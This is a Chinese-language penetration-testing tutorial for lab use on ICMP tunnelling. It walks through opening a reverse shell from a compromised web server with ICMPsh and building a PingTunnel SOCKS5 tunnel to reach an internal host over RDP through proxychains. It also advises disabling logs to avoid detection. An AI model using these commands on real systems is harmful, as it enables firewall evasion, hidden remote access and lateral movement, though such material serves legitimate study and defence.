下面将介绍通过ICMP协议进行隧道穿透的方法。这种手段的优点是不需要开放端口就可将TCP/UDP数据封装到ICMP的Ping数据包中,从而绕过防火墙的限制,攻击者可以利用较短的命令得到大量的ICMP响应,常见的ICMP隧道穿透通常可以利用Icmpsh、Icmptunnel、Pingtunnel等工具实现,笔者这里以ICMPsh和Pingtunnel为案例介绍如何利用ICMP协议进行隧道穿透。
1.ICMPsh获取反弹shell
ICMPsh是一个简单的反向ICMP shell,与其他类似的开源工具相比,它的主要优势在于不需要管理权限即可在目标主机上运行,如图1-1所示的拓扑,假设内网中发现Web服务器,测试后其他协议方式无法进行隧道穿透,探测其开放ICMP协议,且获取到命令执行权限后,可以尝试利用ICMP隧道工具进行后续操作。
图1-1 ICMP协议实验拓扑图
1)首先在攻击机中执行echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all命令,关闭攻击机ICMP协议的应答。因为该工具要代替攻击机系统本身的ping命令去应答,为了防止内核自己对Ping数据包进行响应,所以需要关闭系统的ICMP应答,执行后如图1-2所示。
图1-2 关闭ping应答
2)关闭ICMP应答后,在攻击机中执行python2 icmpsh_m.py 192.168.0.2 192.168.0.3命令来连接Web服务器,如图1-3所示。这里注意的是,攻击机需要使用Python 2的环境来安装python-impacket模块,我们可以使用pip install impacket==0.9.12命令或者官网下载模块安装。
图1-3攻击机连接服务器
3)上述步骤操作完毕后,上传icmpsh.exe工具到Web服务器,在Web服务器执行icmpsh.exe -t 192.168.0.2命令反弹Shell到攻击机,执行结果如图1-4所示。
图1-4 服务器执行连接命令
4)此时攻击机已经成功获得Web服务器反弹的Shell权限,如图1-5所示。
图1-5 通过ICMP隧道成功获得Web服务器Shell权限
2.PingTunnel 搭建隧道
PingTunnel工具是基于ICMP协议的开源的隧道工具,其优点是使用简单,它的原理是通过将TCP/UDP/Sock5流量夹带在ICMP数据中进行转发,下面将会演示如何使用该工具进行隧道穿透,该工具的具体使用详细参数如表1-1所示。
表1-1 PingTunne工具详细参数
参数 | 作用 |
---|---|
-key | 设置的密码,默认为 0 |
-nolog | 不写日志文件,只打印标准输出,默认 0 |
-noprint | 不打印屏幕输出,默认 0 |
-loglevel | 日志文件等级,默认 info |
-maxconn | 最大连接数,默认 0,不受限制 |
-maxprt | server 最大处理线程数,默认 100 |
-maxprb | server 最大处理线程 buffer 数,默认 1000 |
-conntt | server 发起连接到目标地址的超时时间,默认 1000ms |
-l | 本地的地址,发到这个端口的流量将转发到服务器 |
-s | 服务器的地址,流量将通过隧道转发到这个服务器 |
-t | 远端服务器转发的目的地址,流量将转发到这个地址 |
-timeout | 记录连接超时的时间,单位是秒,默认 60s |
-tcp | 设置是否转发 tcp,默认 0 |
-tcp_bs | tcp 的发送接收缓冲区大小,默认 1MB |
-tcp_mw | tcp 的最大窗口,默认 20000 |
-tcp_rst | tcp 的超时发送时间,默认 400ms |
-tcp_gz | 当数据包超过这个大小,tcp 将压缩数据,0 表示不压缩,默认0 |
-tcp_stat | 打印 tcp 的监控,默认 0 |
-sock5 | 开启 sock5 转发,默认 0 |
-profile | 在指定端口开启性能检测,默认 0 不开启 |
-s5filter | sock5 模式设置转发过滤,默认全转发,设置 CN 代表 CN 地区的直连不转发 |
假设在内网渗透中发现主机,通过漏洞获取到系统控制权限,在对其进一步探测时,由于安全设备等方式的阻拦,其他协议方式无法穿透,这里仅开放ICMP协议,我们可以尝试利用PingTunnel工具进行后续操作,本次实验拓扑如图1-6所示,本次实验环境表如1-2所示。
图1-6 ICMP协议实验拓扑图
表1-2 ICMP协议实验环境表
主机类型 | IP配置 |
---|---|
攻击机 | 192.168.0.2 |
Web服务器 | 192.168.0.3,192.168.52.2 |
目标服务器 | 192.168.52.3 |
1)在攻击机上也可以执行sysctl -w net.ipv4.icmp_echo_ignore_all=1命令,关闭ICMP应答,防止接受本地的响应的ping数据包,如图1-7所示。注意实验完成后,如果要开启Icmp应答,我们使用上面这条命令将值改为0即可开启icmp应答。
图1-7 攻击机关闭Icmp回复
2)将PingTunnel工具上传至Web服务器后执行./pingtunnel -type server -noprint 1 -nolog 1命令,即可在Web服务器开启服务端监听,其中-noprint参数和-nolog参数是禁止产生日志文件,如果不使用该参数执行,则Web服务器就会生成大量的日志文件,很容易被检测到,执行成功后如图1-8所示。
图1-8 Web服务器开启服务端监听
3)在攻击机执行./pingtunnel -type client -l :1080 -s 192.168.0.3 -sock5 1命令,去连接服务端,这里攻击机将作为客户端连接Web服务器监听,并设置本地的1080端口做为socks连接端口,执行后如图1-9所示。
图1-9攻击机发起连接
4)随后,在攻击机中修改proxychains4.conf配置文件,并在其底部添加一行socks5 127.0.0.1 1080参数来完成proxychains代理配置,如图1-10所示。
图1-10 修改proxychains配置文件
5)当配置完proxychains代理后,即可在攻击机执行proxychains rdesktop 192.168.52.3命令来连接靶机,如图1-11所示,通过所建立的icmp协议隧道,我们可以直接远程连接到目标服务器中。
图1-11 ICMP隧道连接成功
(二)本篇总结
本文介绍了利用ICMP协议进行隧道穿透的方法。ICMP协议不需要开放端口,可以将TCP/UDP数据封装到ICMP的Ping数据包中,绕过防火墙限制。常见的ICMP隧道穿透工具有Icmpsh、Icmptunnel、Pingtunnel等。本文以ICMPsh和Pingtunnel为例,介绍了如何利用ICMP协议进行隧道穿透。ICMPsh是一个简单的反向ICMP shell,可以代替攻击机系统本身的ping命令去应答。